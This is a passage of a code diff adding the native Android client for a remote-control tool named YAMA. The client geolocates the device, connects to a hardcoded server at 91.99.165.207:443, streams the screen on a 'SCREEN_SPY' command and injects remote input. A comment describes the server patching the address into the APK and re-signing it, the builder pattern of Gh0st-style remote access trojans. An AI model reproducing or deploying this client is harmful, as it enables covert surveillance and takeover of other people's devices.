#define rand_s(p) (*(p) = (unsigned int)arc4random(), 0)
|
||||||
|
|
||||||
|
#endif // __ANDROID__
|
||||||
BIN
android/app/src/main/cpp/lib/arm64-v8a/libsign.a
Normal file
BIN
android/app/src/main/cpp/lib/arm64-v8a/libzstd.a
Normal file
BIN
android/app/src/main/cpp/lib/armeabi-v7a/libsign.a
Normal file
BIN
android/app/src/main/cpp/lib/armeabi-v7a/libzstd.a
Normal file
BIN
android/app/src/main/cpp/lib/x86/libsign.a
Normal file
BIN
android/app/src/main/cpp/lib/x86/libzstd.a
Normal file
BIN
android/app/src/main/cpp/lib/x86_64/libsign.a
Normal file
BIN
android/app/src/main/cpp/lib/x86_64/libzstd.a
Normal file
825
android/app/src/main/cpp/main.cpp
Normal file
@@ -0,0 +1,825 @@
|
|||||||
|
#include <jni.h>
|
||||||
|
#include <android/log.h>
|
||||||
|
#include <thread>
|
||||||
|
#include <chrono>
|
||||||
|
#include <atomic>
|
||||||
|
#include <mutex>
|
||||||
|
#include <set>
|
||||||
|
#include <string>
|
||||||
|
#include <cstring>
|
||||||
|
#include <cinttypes>
|
||||||
|
#include <cstdio>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/select.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
|
||||||
|
#include "common/commands.h"
|
||||||
|
#include "common/client_auth_state.h"
|
||||||
|
#include "common/rtt_estimator.h"
|
||||||
|
#include "client/IOCPClient.h"
|
||||||
|
#include "ScreenHandler.h"
|
||||||
|
#define XXH_INLINE_ALL
|
||||||
|
#include "common/xxhash.h"
|
||||||
|
#include "common/logger.h"
|
||||||
|
|
||||||
|
#define LOG_TAG "YAMA"
|
||||||
|
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
|
||||||
|
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
|
||||||
|
|
||||||
|
// 1 = 状态提示显示到电视屏幕;0 = 只写 logcat,不显示到屏幕
|
||||||
|
#define SCREEN_STATUS_ENABLED 0
|
||||||
|
|
||||||
|
extern "C" int signMessage_c(const char* pk, int pkLen, const unsigned char* msg,
|
||||||
|
int msgLen, char* buf, int bufSize);
|
||||||
|
|
||||||
|
// ---- 设备信息 helper(登录时填充,仅调用一次)----
|
||||||
|
|
||||||
|
static int GetCpuCores() {
|
||||||
|
long n = sysconf(_SC_NPROCESSORS_ONLN);
|
||||||
|
return (n > 0) ? (int)n : 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
static double GetMemoryGB() {
|
||||||
|
FILE* f = fopen("/proc/meminfo", "r");
|
||||||
|
if (!f) return 0.0;
|
||||||
|
char line[128];
|
||||||
|
unsigned long kb = 0;
|
||||||
|
while (fgets(line, sizeof(line), f)) {
|
||||||
|
if (sscanf(line, "MemTotal: %lu kB", &kb) == 1) break;
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
return kb / (1024.0 * 1024.0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 遍历 cpu0-cpu7,取 cpuinfo_max_freq 最大值(大核频率)
|
||||||
|
static int GetCpuMHz() {
|
||||||
|
// 优先从 sysfs 读取(真机有效)
|
||||||
|
unsigned long maxKhz = 0;
|
||||||
|
char path[80];
|
||||||
|
for (int i = 0; i < 8; i++) {
|
||||||
|
snprintf(path, sizeof(path),
|
||||||
|
"/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq", i);
|
||||||
|
FILE* f = fopen(path, "r");
|
||||||
|
if (!f) continue;
|
||||||
|
unsigned long khz = 0;
|
||||||
|
if (fscanf(f, "%lu", &khz) == 1 && khz > maxKhz) maxKhz = khz;
|
||||||
|
fclose(f);
|
||||||
|
}
|
||||||
|
if (maxKhz > 0) return (int)(maxKhz / 1000);
|
||||||
|
|
||||||
|
// 回退:解析 /proc/cpuinfo 中的 "BogoMIPS"(模拟器可用)
|
||||||
|
FILE* f = fopen("/proc/cpuinfo", "r");
|
||||||
|
if (!f) return 0;
|
||||||
|
char line[128];
|
||||||
|
double bogomips = 0;
|
||||||
|
while (fgets(line, sizeof(line), f)) {
|
||||||
|
if (sscanf(line, "BogoMIPS : %lf", &bogomips) == 1 ||
|
||||||
|
sscanf(line, "bogomips : %lf", &bogomips) == 1) break;
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
return bogomips > 0 ? (int)bogomips : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static long GetFileSize(const std::string& path) {
|
||||||
|
if (path.empty()) return 0;
|
||||||
|
struct stat st;
|
||||||
|
return (stat(path.c_str(), &st) == 0) ? (long)st.st_size : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::string FormatFileSize(long bytes) {
|
||||||
|
char buf[32];
|
||||||
|
if (bytes >= 1024 * 1024)
|
||||||
|
snprintf(buf, sizeof(buf), "%.1fM", bytes / (1024.0 * 1024.0));
|
||||||
|
else if (bytes >= 1024)
|
||||||
|
snprintf(buf, sizeof(buf), "%.1fK", bytes / 1024.0);
|
||||||
|
else
|
||||||
|
snprintf(buf, sizeof(buf), "%ldB", bytes);
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从 JSON 字符串中提取字符串字段值
|
||||||
|
static std::string JsonGetStr(const std::string& json, const char* key) {
|
||||||
|
std::string needle = std::string("\"") + key + "\":";
|
||||||
|
auto pos = json.find(needle);
|
||||||
|
if (pos == std::string::npos) return "";
|
||||||
|
pos += needle.size();
|
||||||
|
while (pos < json.size() && json[pos] == ' ') pos++;
|
||||||
|
if (pos >= json.size() || json[pos] != '"') return "";
|
||||||
|
pos++;
|
||||||
|
auto end = json.find('"', pos);
|
||||||
|
return (end == std::string::npos) ? "" : json.substr(pos, end - pos);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 查询 ip-api.com,一次请求同时获取公网 IP 和地理位置(与 Windows 客户端同源)
|
||||||
|
// 在连接线程中同步调用,超时 3 秒
|
||||||
|
struct GeoResult {
|
||||||
|
std::string pubIp, location;
|
||||||
|
std::atomic<bool> ready{false};
|
||||||
|
};
|
||||||
|
|
||||||
|
static void FetchGeoInfoImpl(std::shared_ptr<GeoResult> out) {
|
||||||
|
struct addrinfo hints = {}, *res = nullptr;
|
||||||
|
hints.ai_family = AF_INET;
|
||||||
|
hints.ai_socktype = SOCK_STREAM;
|
||||||
|
if (getaddrinfo("ip-api.com", "80", &hints, &res) != 0 || !res) {
|
||||||
|
out->ready.store(true, std::memory_order_release); return;
|
||||||
|
}
|
||||||
|
int fd = ::socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (fd < 0) { freeaddrinfo(res); out->ready.store(true, std::memory_order_release); return; }
|
||||||
|
|
||||||
|
struct timeval tv = {3, 0};
|
||||||
|
setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||||
|
setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||||
|
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
|
||||||
|
connect(fd, res->ai_addr, res->ai_addrlen);
|
||||||
|
fd_set wfds; FD_ZERO(&wfds); FD_SET(fd, &wfds);
|
||||||
|
bool connected = (select(fd + 1, nullptr, &wfds, nullptr, &tv) == 1);
|
||||||
|
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) & ~O_NONBLOCK);
|
||||||
|
|
||||||
|
if (connected) {
|
||||||
|
const char* req = "GET /json/?fields=status,query,country,city HTTP/1.0\r\n"
|
||||||
|
"Host: ip-api.com\r\n"
|
||||||
|
"Connection: close\r\n\r\n";
|
||||||
|
send(fd, req, strlen(req), 0);
|
||||||
|
|
||||||
|
std::string resp;
|
||||||
|
char buf[512];
|
||||||
|
ssize_t n;
|
||||||
|
while ((n = recv(fd, buf, sizeof(buf), 0)) > 0) resp.append(buf, (size_t)n);
|
||||||
|
|
||||||
|
auto sep = resp.find("\r\n\r\n");
|
||||||
|
if (sep != std::string::npos) {
|
||||||
|
const std::string body = resp.substr(sep + 4);
|
||||||
|
if (JsonGetStr(body, "status") == "success") {
|
||||||
|
out->pubIp = JsonGetStr(body, "query");
|
||||||
|
std::string city = JsonGetStr(body, "city");
|
||||||
|
std::string country = JsonGetStr(body, "country");
|
||||||
|
if (!city.empty() && !country.empty()) out->location = city + ", " + country;
|
||||||
|
else if (!country.empty()) out->location = country;
|
||||||
|
else if (!city.empty()) out->location = city;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close(fd);
|
||||||
|
freeaddrinfo(res);
|
||||||
|
out->ready.store(true, std::memory_order_release);
|
||||||
|
}
|
||||||
|
|
||||||
|
// getaddrinfo 在某些设备上会永久阻塞,用独立线程 + 5 秒轮询超时保护 ConnectionThread
|
||||||
|
static bool FetchGeoInfo(std::string& pubIp, std::string& location) {
|
||||||
|
pubIp.clear(); location.clear();
|
||||||
|
auto result = std::make_shared<GeoResult>();
|
||||||
|
std::thread(FetchGeoInfoImpl, result).detach();
|
||||||
|
for (int i = 0; i < 50 && !result->ready.load(std::memory_order_acquire); i++)
|
||||||
|
usleep(100000); // 100ms × 50 = 5 秒
|
||||||
|
if (!result->ready.load(std::memory_order_acquire)) return false;
|
||||||
|
pubIp = result->pubIp;
|
||||||
|
location = result->location;
|
||||||
|
return !pubIp.empty();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 服务端通过 FLAG_GHOST("Hello, World!")定位此变量,patch szServerIP/szPort 后重签 APK
|
||||||
|
// 偏移:szServerIP at +32, szPort at +132(见 commands.h CONNECT_ADDRESS 定义)
|
||||||
|
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_ANDROID };
|
||||||
|
|
||||||
|
// ---- 全局状态 ----
|
||||||
|
// CPP-06: g_bExit 是全局变量,跨调用边界不会被编译器缓存进寄存器;
|
||||||
|
// IOCPClient 构造接受 const State& 持有引用,不能改为 atomic/volatile,
|
||||||
|
// 直接用 State;ARM 4 字节对齐写入硬件层面原子,实际安全。
|
||||||
|
State g_bExit{S_CLIENT_NORMAL};
|
||||||
|
uint64_t g_myClientID = 0; // sub_conn_thread.h 需要的外部符号
|
||||||
|
static std::atomic<bool> g_running{false};
|
||||||
|
static std::atomic<uint64_t> g_lastHeartbeatAckMs{0};
|
||||||
|
|
||||||
|
// ---- JNI 反向调用(DataProcess → ControlService / CaptureService)----
|
||||||
|
static JavaVM* g_jvm = nullptr;
|
||||||
|
static jclass g_ctrlClass = nullptr;
|
||||||
|
static jmethodID g_ctrlMethod = nullptr;
|
||||||
|
static jmethodID g_getActiveWindowMid = nullptr;
|
||||||
|
// CaptureService.requestIdr() / forceFirstFrame() — ScreenSpyThread 子连接建立后触发
|
||||||
|
static jclass g_captureClass = nullptr;
|
||||||
|
static jmethodID g_requestIdrMid = nullptr;
|
||||||
|
static jmethodID g_forceFirstFrameMid = nullptr;
|
||||||
|
static jmethodID g_statusMid = nullptr; // CaptureService.onNativeStatus(String)
|
||||||
|
static jmethodID g_nativeExitMid = nullptr; // CaptureService.onNativeExit() — 服务端主动断开时停止服务
|
||||||
|
|
||||||
|
// 心跳日志限流:每 60 秒最多打一次
|
||||||
|
static std::atomic<uint64_t> g_lastHbLogMs{0};
|
||||||
|
|
||||||
|
static constexpr uint64_t HB_LOG_INTERVAL_MS = 60000;
|
||||||
|
|
||||||
|
// 供主连接和子连接共同调用:把 COMMAND_SCREEN_CONTROL 路由到 ControlService.onControlEvent()
|
||||||
|
// 定义在全局函数区;ScreenHandler.h 通过 extern 声明使用。
|
||||||
|
void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY)
|
||||||
|
{
|
||||||
|
if (!g_jvm || !g_ctrlClass || !g_ctrlMethod) {
|
||||||
|
LOGE("SCREEN_CONTROL: JNI not ready (ctrl=%p method=%p)", g_ctrlClass, g_ctrlMethod);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (msgVal != 0x200u)
|
||||||
|
LOGI("SCREEN_CONTROL: msg=0x%X pt=(%d,%d)", msgVal, ptX, ptY);
|
||||||
|
|
||||||
|
JNIEnv* jenv = nullptr;
|
||||||
|
bool attached = false;
|
||||||
|
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
|
||||||
|
if (st == JNI_EDETACHED) {
|
||||||
|
// CPP-03 fix: 检查 AttachCurrentThread 返回值,失败时 jenv 仍为 null
|
||||||
|
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
|
||||||
|
attached = true;
|
||||||
|
} else if (st != JNI_OK || !jenv) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
jenv->CallStaticVoidMethod(g_ctrlClass, g_ctrlMethod,
|
||||||
|
(jint)msgVal, (jlong)wParam, (jint)ptX, (jint)ptY);
|
||||||
|
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
|
||||||
|
if (attached) g_jvm->DetachCurrentThread();
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::string GetActiveWindowFromJava()
|
||||||
|
{
|
||||||
|
if (!g_jvm || !g_ctrlClass || !g_getActiveWindowMid) return "Android";
|
||||||
|
JNIEnv* jenv = nullptr;
|
||||||
|
bool attached = false;
|
||||||
|
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
|
||||||
|
if (st == JNI_EDETACHED) {
|
||||||
|
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return "Android";
|
||||||
|
attached = true;
|
||||||
|
} else if (st != JNI_OK || !jenv) {
|
||||||
|
return "Android";
|
||||||
|
}
|
||||||
|
jstring js = (jstring)jenv->CallStaticObjectMethod(g_ctrlClass, g_getActiveWindowMid);
|
||||||
|
std::string result = "Android";
|
||||||
|
if (js && !jenv->ExceptionOccurred()) {
|
||||||
|
const char* c = jenv->GetStringUTFChars(js, nullptr);
|
||||||
|
if (c) { result = c; jenv->ReleaseStringUTFChars(js, c); }
|
||||||
|
jenv->DeleteLocalRef(js);
|
||||||
|
}
|
||||||
|
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
|
||||||
|
if (attached) g_jvm->DetachCurrentThread();
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 服务器连接参数
|
||||||
|
static std::string g_serverIp;
|
||||||
|
static int g_serverPort = 443;
|
||||||
|
|
||||||
|
// 设备信息(nativeInit 传入)
|
||||||
|
static std::string g_androidId;
|
||||||
|
static std::string g_deviceModel;
|
||||||
|
static std::string g_androidVersion;
|
||||||
|
static std::string g_screenRes;
|
||||||
|
static std::string g_username;
|
||||||
|
static std::string g_apkPath;
|
||||||
|
static std::string g_filesDir; // context.filesDir,无需权限,用于持久化分组名
|
||||||
|
|
||||||
|
static void SaveGroupName() {
|
||||||
|
if (g_filesDir.empty()) return;
|
||||||
|
std::string path = g_filesDir + "/yama_group";
|
||||||
|
FILE* f = fopen(path.c_str(), "w");
|
||||||
|
if (!f) { LOGI("SaveGroupName: cannot open %s", path.c_str()); return; }
|
||||||
|
fputs(g_SETTINGS.szGroupName, f);
|
||||||
|
fclose(f);
|
||||||
|
LOGI("Group saved: %s", g_SETTINGS.szGroupName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void LoadGroupName() {
|
||||||
|
if (g_filesDir.empty()) return;
|
||||||
|
std::string path = g_filesDir + "/yama_group";
|
||||||
|
FILE* f = fopen(path.c_str(), "r");
|
||||||
|
if (!f) return;
|
||||||
|
char buf[24] = {};
|
||||||
|
if (fgets(buf, sizeof(buf), f)) {
|
||||||
|
size_t len = strlen(buf);
|
||||||
|
while (len > 0 && (buf[len - 1] == '\n' || buf[len - 1] == '\r')) buf[--len] = '\0';
|
||||||
|
if (len > 0) {
|
||||||
|
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
|
||||||
|
strncpy(g_SETTINGS.szGroupName, buf, sizeof(g_SETTINGS.szGroupName) - 1);
|
||||||
|
LOGI("Group loaded from file: %s", buf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 屏幕尺寸(Java 侧 MediaCodec 配置后通过 nativeSetScreenSize 设置)
|
||||||
|
// 初始化为 0;ScreenSpyThread 等到非零后再读,避免在 nativeSetScreenSize 之前
|
||||||
|
// 拿到默认值 1280×720 发给服务端导致 decoder 尺寸错误黑屏。
|
||||||
|
static std::atomic<int> g_screenWidth{0};
|
||||||
|
static std::atomic<int> g_screenHeight{0};
|
||||||
|
|
||||||
|
// 活跃子连接的 handler 集合(受 g_shMutex 保护);支持多个浏览者/控制者同时连接
|
||||||
|
static std::set<AndroidScreenHandler*> g_screenHandlers;
|
||||||
|
static std::mutex g_shMutex;
|
||||||
|
|
||||||
|
// ------------------------------------------------------------------ 屏幕子连接线程
|
||||||
|
// 通过 JNI 调用 CaptureService 的静态方法,复用同一套 attach/detach 模板。
|
||||||
|
static void CallCaptureStaticVoid(jmethodID mid)
|
||||||
|
{
|
||||||
|
if (!g_jvm || !g_captureClass || !mid) return;
|
||||||
|
JNIEnv* jenv = nullptr;
|
||||||
|
bool attached = false;
|
||||||
|
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
|
||||||
|
if (st == JNI_EDETACHED) {
|
||||||
|
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
|
||||||
|
attached = true;
|
||||||
|
} else if (st != JNI_OK || !jenv) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
jenv->CallStaticVoidMethod(g_captureClass, mid);
|
||||||
|
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
|
||||||
|
if (attached) g_jvm->DetachCurrentThread();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 触发编码器输出关键帧(setParameters REQUEST_SYNC_FRAME)
|
||||||
|
static void RequestIdrFromJava() { CallCaptureStaticVoid(g_requestIdrMid); }
|
||||||
|
|
||||||
|
// 强制 VirtualDisplay 推一帧(静止屏幕绕过 SurfaceFlinger 空闲优化)
|
||||||
|
static void ForceFirstFrameFromJava() { CallCaptureStaticVoid(g_forceFirstFrameMid); }
|
||||||
|
|
||||||
|
// 向 CaptureService.onNativeStatus() 发送状态 Toast(连接线程诊断用)
|
||||||
|
static void PostStatus(const char* msg) {
|
||||||
|
LOGI("STATUS: %s", msg);
|
||||||
|
#if SCREEN_STATUS_ENABLED
|
||||||
|
if (!g_jvm || !g_captureClass || !g_statusMid) return;
|
||||||
|
JNIEnv* jenv = nullptr;
|
||||||
|
bool attached = false;
|
||||||
|
if (g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6) == JNI_EDETACHED) {
|
||||||
|
g_jvm->AttachCurrentThread(&jenv, nullptr);
|
||||||
|
attached = true;
|
||||||
|
}
|
||||||
|
if (jenv) {
|
||||||
|
jstring js = jenv->NewStringUTF(msg);
|
||||||
|
if (js) {
|
||||||
|
jenv->CallStaticVoidMethod(g_captureClass, g_statusMid, js);
|
||||||
|
jenv->DeleteLocalRef(js);
|
||||||
|
}
|
||||||
|
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
|
||||||
|
}
|
||||||
|
if (attached) g_jvm->DetachCurrentThread();
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ScreenSpyThread()
|
||||||
|
{
|
||||||
|
// 等待 Java 侧 startCapture() 调用 nativeSetScreenSize 设置真实分辨率。
|
||||||
|
// 若在此之前读到默认值 0,SendBitmapInfo 会发错误尺寸给服务端,
|
||||||
|
// 导致浏览器 initDecoder 尺寸与 H.264 SPS 不一致 → decode error → 黑屏。
|
||||||
|
for (int i = 0; i < 100 && g_screenWidth.load() == 0 && g_running.load(); ++i)
|
||||||
|
Sleep(50); // 最多等 5 秒
|
||||||
|
|
||||||
|
int w = g_screenWidth.load();
|
||||||
|
int h = g_screenHeight.load();
|
||||||
|
if (w == 0 || h == 0) {
|
||||||
|
LOGE("ScreenSpyThread: screen size not set after 5s, abort");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
LOGI("ScreenSpyThread start → %s:%d size=%dx%d", g_serverIp.c_str(), g_serverPort, w, h);
|
||||||
|
|
||||||
|
// 服务端只发一次 COMMAND_SCREEN_SPY 就等子连接,子连接失败必须自己重试
|
||||||
|
for (int attempt = 1; attempt <= 20 && S_CLIENT_NORMAL == g_bExit && g_running.load(); ++attempt) {
|
||||||
|
// 声明在 try 外部,确保 catch 中 handler 仍有效,可安全从 g_screenHandlers 移除
|
||||||
|
std::unique_ptr<IOCPClient> client;
|
||||||
|
std::unique_ptr<AndroidScreenHandler> handler;
|
||||||
|
try {
|
||||||
|
LOGI("SST[%d]: creating IOCPClient", attempt);
|
||||||
|
client = std::make_unique<IOCPClient>(g_bExit, true);
|
||||||
|
client->EnableSubConnAuth(true, g_myClientID);
|
||||||
|
|
||||||
|
LOGI("SST[%d]: connecting %s:%d", attempt, g_serverIp.c_str(), g_serverPort);
|
||||||
|
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
|
||||||
|
LOGI("ScreenSpyThread: connect failed (attempt %d/20), retry 2s", attempt);
|
||||||
|
Sleep(2000);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
LOGI("SST[%d]: connected, creating handler w=%d h=%d", attempt, w, h);
|
||||||
|
|
||||||
|
handler = std::make_unique<AndroidScreenHandler>(client.get(), w, h);
|
||||||
|
LOGI("SST[%d]: handler created, inserting to set", attempt);
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(g_shMutex);
|
||||||
|
g_screenHandlers.insert(handler.get());
|
||||||
|
}
|
||||||
|
|
||||||
|
LOGI("SST[%d]: setManagerCallBack", attempt);
|
||||||
|
client->setManagerCallBack(handler.get(),
|
||||||
|
IOCPManager::DataProcess,
|
||||||
|
IOCPManager::ReconnectProcess);
|
||||||
|
LOGI("SST[%d]: SendBitmapInfo", attempt);
|
||||||
|
handler->SendBitmapInfo();
|
||||||
|
LOGI("SST[%d]: ForceFirstFrame", attempt);
|
||||||
|
ForceFirstFrameFromJava();
|
||||||
|
LOGI("SST[%d]: RequestIdr", attempt);
|
||||||
|
RequestIdrFromJava();
|
||||||
|
LOGI("SST[%d]: entering wait loop", attempt);
|
||||||
|
|
||||||
|
while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||||
|
Sleep(200);
|
||||||
|
|
||||||
|
client->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(g_shMutex);
|
||||||
|
g_screenHandlers.erase(handler.get());
|
||||||
|
}
|
||||||
|
} catch (const std::exception& e) {
|
||||||
|
LOGE("ScreenSpyThread exception (attempt %d): %s", attempt, e.what());
|
||||||
|
// 先清除回调,再析构 handler:防止 client 在 handler 析构后仍持有其指针
|
||||||
|
if (client) client->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||||
|
if (handler) {
|
||||||
|
std::lock_guard<std::mutex> lk(g_shMutex);
|
||||||
|
g_screenHandlers.erase(handler.get());
|
||||||
|
}
|
||||||
|
Sleep(2000);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
break; // 正常结束,不再重试
|
||||||
|
}
|
||||||
|
LOGI("ScreenSpyThread exit");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ------------------------------------------------------------------ DataProcess
|
||||||
|
int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
if (!szBuffer || !ulLength) return TRUE;
|
||||||
|
int allowed = (int)ClientAuth::IsCommandAllowed(szBuffer[0]);
|
||||||
|
if (!allowed) {
|
||||||
|
LOGI("DataProcess cmd=%d len=%lu allowed=%d",
|
||||||
|
(int)(unsigned char)szBuffer[0], (unsigned long)ulLength, allowed);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (szBuffer[0]) {
|
||||||
|
case COMMAND_BYE:
|
||||||
|
PostStatus("BYE from server");
|
||||||
|
g_bExit = S_CLIENT_EXIT;
|
||||||
|
break;
|
||||||
|
|
||||||
|
case CMD_HEARTBEAT_ACK:
|
||||||
|
if (ulLength >= 1 + (ULONG)sizeof(HeartbeatACK)) {
|
||||||
|
HeartbeatACK ack;
|
||||||
|
memcpy(&ack, szBuffer + 1, sizeof(HeartbeatACK));
|
||||||
|
uint64_t now = GetUnixMs();
|
||||||
|
g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed);
|
||||||
|
int64_t rtt = (int64_t)now - (int64_t)ack.Time;
|
||||||
|
if (ack.ProcessingMs > 0 && (int64_t)ack.ProcessingMs < rtt)
|
||||||
|
rtt -= ack.ProcessingMs;
|
||||||
|
g_rttEstimator.update_from_sample((double)rtt);
|
||||||
|
if (now - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) {
|
||||||
|
g_lastHbLogMs.store(now, std::memory_order_relaxed);
|
||||||
|
LOGI("HeartbeatACK RTT=%" PRId64 "ms SRTT=%.1fms", rtt, g_rttEstimator.srtt * 1000.0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
case CMD_MASTERSETTING: {
|
||||||
|
MasterSettings settings;
|
||||||
|
if (ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
|
||||||
|
if (settings.ReportInterval > 0)
|
||||||
|
g_heartbeatInterval = std::max(settings.ReportInterval, 30);
|
||||||
|
LOGI("MasterSettings OK interval=%ds (server=%d)", g_heartbeatInterval, settings.ReportInterval);
|
||||||
|
PostStatus("masterSettings: OK");
|
||||||
|
} else {
|
||||||
|
PostStatus("masterSettings: FAIL");
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_SCREEN_SPY: {
|
||||||
|
// 每个 COMMAND_SCREEN_SPY 对应一个独立子连接,支持多人同时观看/控制
|
||||||
|
size_t active;
|
||||||
|
{ std::lock_guard<std::mutex> lk(g_shMutex); active = g_screenHandlers.size(); }
|
||||||
|
LOGI("cmd: COMMAND_SCREEN_SPY len=%lu active=%zu w=%d h=%d",
|
||||||
|
(unsigned long)ulLength, active, g_screenWidth.load(), g_screenHeight.load());
|
||||||
|
std::thread(ScreenSpyThread).detach();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_SCREEN_CONTROL: {
|
||||||
|
if (ulLength < 1 + 48u) { LOGI("SCREEN_CONTROL(main): too short %u", ulLength); break; }
|
||||||
|
const uint8_t* p = szBuffer + 1;
|
||||||
|
uint64_t msgVal = 0, wParam = 0, lParam = 0;
|
||||||
|
memcpy(&msgVal, p + 8, 8);
|
||||||
|
memcpy(&wParam, p + 16, 8);
|
||||||
|
memcpy(&lParam, p + 24, 8);
|
||||||
|
int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF);
|
||||||
|
int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF);
|
||||||
|
DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case CMD_SET_GROUP: {
|
||||||
|
std::string grp;
|
||||||
|
if (ulLength > 1) {
|
||||||
|
grp.assign((const char*)szBuffer + 1, ulLength - 1);
|
||||||
|
auto z = grp.find('\0');
|
||||||
|
if (z != std::string::npos) grp.resize(z);
|
||||||
|
}
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(g_shMutex);
|
||||||
|
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
|
||||||
|
strncpy(g_SETTINGS.szGroupName, grp.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||||||
|
}
|
||||||
|
SaveGroupName();
|
||||||
|
LOGI("Group changed to: %s", grp.c_str());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_SHELL:
|
||||||
|
LOGI("COMMAND_SHELL (not implemented)");
|
||||||
|
break;
|
||||||
|
|
||||||
|
case COMMAND_SYSTEM:
|
||||||
|
LOGI("COMMAND_SYSTEM (not implemented)");
|
||||||
|
break;
|
||||||
|
|
||||||
|
default:
|
||||||
|
LOGI("cmd: unhandled cmd=%d len=%lu", (int)szBuffer[0], (unsigned long)ulLength);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ------------------------------------------------------------------ 网络主线程
|
||||||
|
static void ConnectionThread()
|
||||||
|
{
|
||||||
|
LOGI("ConnectionThread → %s:%d", g_serverIp.c_str(), g_serverPort);
|
||||||
|
|
||||||
|
PostStatus("geo: fetching...");
|
||||||
|
std::string g_pubIp, g_location;
|
||||||
|
FetchGeoInfo(g_pubIp, g_location);
|
||||||
|
PostStatus(("geo: " + (g_pubIp.empty() ? "failed" : g_pubIp)).c_str());
|
||||||
|
|
||||||
|
LOGIN_INFOR logInfo;
|
||||||
|
{
|
||||||
|
std::string pcName = g_deviceModel;
|
||||||
|
if (g_SETTINGS.szGroupName[0]) { pcName += '/'; pcName += g_SETTINGS.szGroupName; }
|
||||||
|
strncpy(logInfo.szPCName, pcName.c_str(), sizeof(logInfo.szPCName) - 1);
|
||||||
|
}
|
||||||
|
